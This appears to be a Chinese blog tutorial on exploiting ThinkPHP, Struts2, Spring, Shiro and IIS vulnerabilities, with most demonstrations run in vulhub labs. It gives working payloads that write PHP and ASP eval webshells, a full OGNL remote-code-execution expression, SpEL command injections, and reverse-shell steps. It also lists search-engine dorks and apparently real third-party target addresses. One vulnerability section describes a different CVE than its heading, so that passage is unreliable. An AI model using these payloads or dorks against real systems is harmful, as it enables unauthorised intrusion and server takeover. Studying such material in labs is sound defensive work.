常见框架漏洞

1.什么是框架

Web框架(Web framework)或者叫做Web应用框架(Web application framework),是用于进行Web开发的一套软件架构。大多数的Web框架提供了一套开发和部署网站的方式。为Web的行为提供了一套支持的方法。使用Web框架,很多的业务逻辑外的功能不需要自己再去完善,而是使用框架已有的功能就可以。如图片验证码 , 数据库交互语句等

2.Thinkphp

2.1Thinkphp框架介绍

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的,是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。

官网网址

 https://www.thinkphp.cn/

我们以后可能会遇到的 Thinkphp版本有 , Thinkphp3 , Thinkphp5 , Thinkphp6 ,Thinkphp8, 遇到最多的是thinkphp5

2.2 Thinkphp5x远程命令执行及getshell   TP5 rce

thinkphp5披露出的最多的漏洞就是rce , 其中的影响的版本范围非常广

5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30
 
不同版本 payload 不同,且5.13版本后还与debug模式有关

Thinkphp5 5.0.22/5.1.29 rce复现

环境搭建

cd vulhub-master/thinkphp/5-rce
docker-compose up -d

漏洞原理

漏洞根本源于 thinkphp/library/think/Request.php 中method方法可以进行变量覆盖,通过覆盖类的核心属性filter导致rce,其攻击点较为多,有些还具有限制条件

poc

192.168.233.143:8080/index.php?s=/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

上述poc只是简单的运行了phpinfo , 我们可以修改payload , 进而实现漏洞的利用

远程代码执行 getshell

写入一句话木马  使用以下payload

192.168.233.143:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval(/$_POST['cmd']);?>" >> hei.php

蚁剑:

实验做完记得关闭环境

 docker-compose down

Thinkphp5 5.0.23 rce复现

环境搭建

cd vulhub-master/thinkphp/5.0.23-rce
docker-compose up -d

poc

http://ip:port/index.php?s=captcha

post请求
_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=-1

执行系统命令

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

2.3TP的综合利用工具

上面是我们手动测试payload实现的攻击 , 可以把这些整合到一个工具中 , 实现真多thinkphp可能存在的所有漏洞的扫描 , 推荐几个比较好用的工具 , 但是要记住 , 工具是会存在误报的

ThinkPHP 综合利用工具 V2.4.2 by 蓝鲸.jar
ThinkphpGUI-1.3-SNAPSHOT.jar

2.4 fofa搜索语句

body=''V5.0.7"&& title='System error"
body="ThinkPHP V5"
body="thinkphp"
app="thinkphp"
icon_hash="1165838194"

3.struts2

3.1struts2框架介绍

Apache Struts2 是一个基于MVC设计模式的 JavaWeb 应用框架。在 MVC 设计模式中,Struts2 作为控制器(Controller)来建立模型与视图的数据交互。Struts2 是在 Struts 和WebWork 的技术的基础上进行合并的全新的框架。Struts2 以 WebWork 为核心,采用拦截器的机制来处理的请求。

# MVC:模型(Model)、视图(View)、控制器(Controller):

● 模型 --- 属于软件设计模式的底层基础,主要负责数据维护。
● 视图 --- 这部分是负责向用户呈现全部或部分数据。
● 控制器 --- 通过软件代码控制模型和视图之间的交互。

3.2 struts2 rce

Struts 2 在2007年7月23日发布的第一个Struts 2漏洞S2-001 , 到现在已经到披露到 s2-062

不同的Struts 2 版本对应的payload是不同的

S2-057远程执行代码漏洞复现

环境搭建

cd vulhub-master/struts2/s2-057
docker-compose up -d

漏洞原理

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到XML上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码,以及系统命令执行。

S2-057 先决条件 : 
alwaysSelectFullNamespace 正确 - 操作元素未设置名称空间属性,或使用了通配符
用户将从 uri 传递命名空间,并将其解析为 OGNL 表达式,最终导致远程代码执行漏洞

补充

OGNL表达式
  OGNL(Object-Graph Navigation Language的简称),struts框架使用OGNL作为默认的表达式语言。
  它是一种功能强大的表达式语言,通过它简单一致的表达式语法,可以存取对象的任意属性,调用对象的方法,遍历整个对象的结构图,实现字段类型转化等功能。
  OGNL是通常需要结合Struts 2的标志一起使用的,主要是#、%、$ 这三个符号的使用:
    #:获得contest中的数据;
    %:强制字符串解析成OGNL表达式;
    $:在配置文件中可以使用OGNL表达式。

访问靶场

http://192.168.233.143:8080/struts2-showcase

poc 

http://192.168.233.143:8080/struts2-showcase/${(123+123)}/actionChain1.action

中间数字位置相加了 , 说明我们中间的表达式正确的执行了 , 那么说明可以构建可以执行系统命令的表达式进行rce

exp

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('whoami')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

 编码后的:

%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d

3.3综合利用工具

因为s2系列漏洞很多 , 如果全部记下所有的poc和exp非常的不容易 , 而且实战中效率很低 , 这个时候我们可以采用综合利用工具 , 对当前网站测试所有的s2漏洞

Struts 2_v18.09.jar

burp被动插件

Struts Finder
https://github.com/x1a0t/Struts2Burp

3.4 fofa搜索语句

app="struts2"

https://webmail.fudannisi.guju.com.cn

4.spring

4.1spring框架介绍

spring的特征

1.icon 是个小树叶
2.默认报错页面

spring 框架还是很流行的框架的,很多甲方的网站建设都有使用到该框架进行搭建,日常渗透也能经常见到。

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。

2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977

SpEL是什么?

SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL工作原理如下:

  1. 表达式:可以认为就是传入的字符串内容;
  2. 解析器︰将字符串解析为表达式内容;
  3. 上下文:表达式对象执行的环境;
  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象。

4.2 Spring Data Rest 远程命令执⾏命令(CVE-2017-8046)

环境搭建

cd vulhub-master/spring/CVE-2017-8046
docker-compose up -d

漏洞原理

Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。 由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码
# 漏洞批量脚本
https://github.com/Tas9er/SpringCloudGatewayRCE

https://github.com/tangxiaofeng7/CVE-2022-22947-Spring-Cloud-Gateway

# 漏洞利用脚本
https://github.com/0730Nophone/CVE-2022-22947-
#案例测试地址
http://40.73.247.24:9002/

访问靶场 http://your-ip:8080/customers/1 ,然后抓取数据包,使⽤PATCH请求来修改

poc

PATCH /customers/1 HTTP/1.1
Host: 192.168.233.143:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 236

[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]

其中 new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,11 5} 表示的命令 touch /tmp/success ⾥⾯的数字是ascii码

成功发送数据包之后,可以进⼊docker容器内查看是否执⾏命令 进⼊docker容器:

4.3 spring 代码执行(CVE-2018-1273)

漏洞简介
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring DataCommons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命
影响版本

Spring DataCommons1.13-1.13.10(Ingalls SR10)

Spring Data REST 2.6-2.6.10(Ingalls SR10)

Spring DataCommons2.0-2.0.5(Kay SR5)

Spring Data REST 3.0-3.0.5(Kay SR5)
官方已经不支持的旧版本

漏洞利用

http://192.168.233.143:8080/users

填写注册信息 然后bp抓包

加上修改的poc

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/zcc")]=&password=&repeatedPassword=

进⼊终端查看,可以看到成功写⼊:

docker exec -it 进程号 /bin/bash

反弹shell

kali写⼀个 反弹shell 脚本,并开启http服务:

靶机下载执⾏ sh 脚本

执⾏脚本: /bin/bash  /tmp/shell.sh

kali nc监听: nc -lvnp 8080

5.shiro

5.1shiro介绍

Apache Shiro是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能。Shiro框架直观、易用,同时也能提供健壮的安全性。

Shiro漏洞指纹

响应包中存在字段 set-Cookie: rememberMe=deleteMe

5.2Shiro rememberMe反序列化漏洞(Shiro-550)

环境搭建

cd vulhub-master/shiro/CVE-2016-4437
docker-compose up -d

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

在服务端接收cookie值时,按照如下步骤来解析处理

1、检索RememberMe cookie 的值
2、Base64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

利用条件

获得aes的加密密钥

在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞

尽管目前已经更新了许多版本,官方并没有对反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

只要rememberMe的AES加密秘钥泄露,无论shiro是什么版本都会导致反序列化漏洞

该漏洞已经曝光几年,但是在实战中仍然比较实用,每年的护网都能起到不小的作用,是护网三大洞之一

漏洞复现

验证Shiro框架

  使⽤BurpSuite进⾏抓包,在请求包中的cookie字段中添加 rememberMe=123;,看响应包 header中是否返回 rememberMe=deleteMe值,若有,则证明该系统使⽤了Shiro框架

bp抓包

Burp Shiro 漏洞检测插件

BurpShiroPassiveScan: https://github.com/pmiaowu/BurpShiroPassiveScan/releases/tag/BurpShiroPassiveScan 1.7.6

在BurpSuite 的扩展(Extend)中安装并启动Shiro检测插件。

当BurpSuite抓取到Shiro的数据包时会⾃动进⾏检测Key,当发现存在Shiro默认key时会有 相应的告警:

存在shiro , 命令执⾏ 利⽤⼯具,命令执⾏: shiro_attack⼯具:https://github.com/j1anFen/shiro_attack

这里直接使用工具构造反序列化实现rce

注入内存马

使用蚁剑链接

反弹shell

⼯ 具:https://github.com/feihong-cs/ShiroExploit-Deprecated

有这个也表示有漏洞

监听

6.中间件

中间件(英语:Middleware)是提供系统软件和应⽤软件之间连接的软件,以便于软件各部 件之间的沟通。 中间件处在操作系统和更⾼⼀级应⽤程序之间。他充当的功能是:将应⽤程序运 27 ⾏环境与操作系统隔离,从⽽实现应⽤程序开发者不必为更多系统问题忧虑,⽽直接关注该应⽤ 程序在解决问题上的能⼒ 。容器就是中间件的⼀种。

也就是说,关于中间件,我们可以理解为:是⼀类能够为⼀种或多种应⽤程序合作互通、资 源共享,同时还能够为该应⽤程序提供相关的服务的软件。(注意:中间件是⼀类软件的总称, 不是单独的⼀个软 件)。

我们经常管web中间件叫做web服务器或者web容器。

6.1 IIS

IIS6.x篇

PUT漏洞

漏洞描述

Plain Text IIS Server 在 Web 服务扩展中开启了 WebDAV ,配置了可以写⼊的权限,造成任意⽂件上传。 版本:IIS 6.0

环境 fofa:"IIS-6.0"

本地搭建2003 server

漏洞复现

1)开启 WebDAV 和写权限

漏洞复现

⽤burpsuite 提交OPTIONS 查看⽀持的协议 :OPTIONS

⽤PUT上传⽂档,但不能直接上传⽅法脚本⽂档,可以先上传⼀个其他类型的⽂档,然后移动成 脚本⽂档:

PUT /test.txt HTTP/1.1
Host:192.168.233.133:9999
Content-Length: 25

<%eval request("cmd")%>

可以看到创建成功

使⽤MOVE命令将其更名为脚本⽂档后缀:

MOVE /test.txt HTTP/1.1
Host:192.168.233.133:9999
Destination: http://192.168.233.133:9999/shell.asp

bp

然后前往网站目录下查看 发现ok了

然后就可以蚁剑连接了

修复

1.关闭webdav ;

2.关闭写⼊权限 。

IIS短⽂件漏洞

漏洞描述

Windows 以 8.3 格式⽣成与 MS-DOS 兼容的(短)⽂件名,以允许基于 MS-DOS 或 16 位 Windows的程序访问这些⽂件。在cmd下输⼊"dir /x"即可看到短⽂件名的效果。

原理

当后缀⼩于4时,短⽂件名产⽣需要⽂件(夹)名前缀字符⻓度⼤于等于9位。

当后缀⼤于等于4时,⽂件名前缀字符⻓度即使为1,也会产⽣短⽂件名。

⽬前IIS⽀持短⽂件名猜测的HTTP⽅法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、 TRACE六种;

IIS 8.0之后的版本只能通过OPTIONS和TRACE⽅法被猜测成功。

复现

IIS8.0以下版本需要开启ASP.NET⽀持,IIS>=8.0版本,即使没有安装ASP.NET,通过 OPTIONS和TRACE⽅法也可以猜解成功。以下通过开启IIS6.0 ASP.NET后进⾏复现。

其它是这样的

我们可以看到,是有短⽂件名的

短⽂件名特征:

1. 只显示前6位的字符,后续字符⽤~1代替。其中数字1是可以递增。如果存在⽂件名类似的⽂ 件,则前⾯的 6个字符是相同的,后⾯的数字进⾏递增

2. 后缀名最⻓只有3位,超过3位的会⽣成短⽂件名,且后缀多余的部分会截断。

3. 所有⼩写字⺟均转换成⼤写的字⺟ ;

4. ⻓⽂件名中包含多个” .” 的时候,以⽂件最后⼀个” .” 作为短⽂件名的后缀;

5. ⻓⽂件名前缀/⽂件夹名字符⻓度符合0-9和A-Z、a-z范围且需要⼤于等于9位才会⽣成短⽂ 件名,如果包含空格或者其他部分特殊字符,不论⻓度均会⽣成短⽂件。

使⽤payload验证⽬标是否存在IIS短⽂件名漏洞,显示的404,说明⽬标存在该短⽂件名:

PS:* 可以匹配n个字符, n可以为0 :

以 abcde123456.txt ⽂件为例

通过浏览器访问⼀个不存在的短⽂件名,会返回400状态码, 400说明该⽂件不存在

通过 浏览器访问上⾯两个payload,根据返回的结果,可以说明⽬标存在IIS短⽂件漏洞 ; 判断漏洞存在后,接下来⼿⼯详细分析猜解IIS短⽂件名

要是第三个输入d而不是c的话就会报错

通过 两次的提交确认了a是404,b是400 所以存在a⽂件开头的短⽂件。

通过上⾯的⽅法接着往后猜:

192.168.233.133:9999/abd*~1*/a.aspx到这⽂件名已经出来了,接着就是判断是⽬录还是⽂件。

上⾯判断是⽂件,按照a-z进⾏测试,404表示存在,400表示不存在,第⼀个字符不是a开 头的⽂件 :

按照上⾯的⽅法依次猜解得到该短⽂件名的后缀是txt,短⽂件名为 abcde~1.txt ,可以接着 猜解 abcde123456.txt⽂件名 。

以上就是原理及漏洞产⽣的流程。 接下来使⽤IIS短⽂件名扫描软件,获取⽬标存在哪些短⽂件名;

⼯具:https://github.com/lijiejie/IIS_shortname_Scanner

⽤法:python2 iis_shortname_Scan.py http://upload.moonteam.com/

防御

1. 升级.net framework ;

2. 修改注册表键值:

a. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改 NtfsDisable8dot3NameCreation为1。

b. 修改完成后,需要重启系统⽣效。

c. 命令⾏关闭 fsutil behavior set disable8dot3 1 。

d. 新建⽂件 aaaaaaaaaaaaaazzzzz.txt 已经没有短⽂件名了。

e. 注:此⽅法只能禁⽌NTFS8.3格式⽂件名创建,已经存在的⽂件的短⽂件名⽆法移除,需 要重新复制才会消 失。如果不重新复制,已经存在的短⽂件名则是不会消失的。

f. 将web⽂件夹的内容拷⻉到另⼀个位置,如c:\www到c:\ww,然后删除原⽂件夹,再重 命名c:\ww到 c:\www。

IIS RCE-CVE-2017-7269

简介

Microsoft windows Server 2003 R2中的 Interne信息服务IIS6.0中的 WebDAV服务中的 ScStoragePathFromUrl函数中的缓冲区溢出允许远程攻击者通过以 If:<http://开头的⻓标头执⾏任意代码 PROPFIND请求

影响范围

WiNdows Server 2003 R2 上使⽤IIS6.0并开启 WebDAV扩展。

复现

利⽤⼯具:https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

反弹shell:

kali下载⼯具,nc监听:

防御 1.关闭 WebDav服务 ; 2.升级 ; 3.部署安全设备 。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值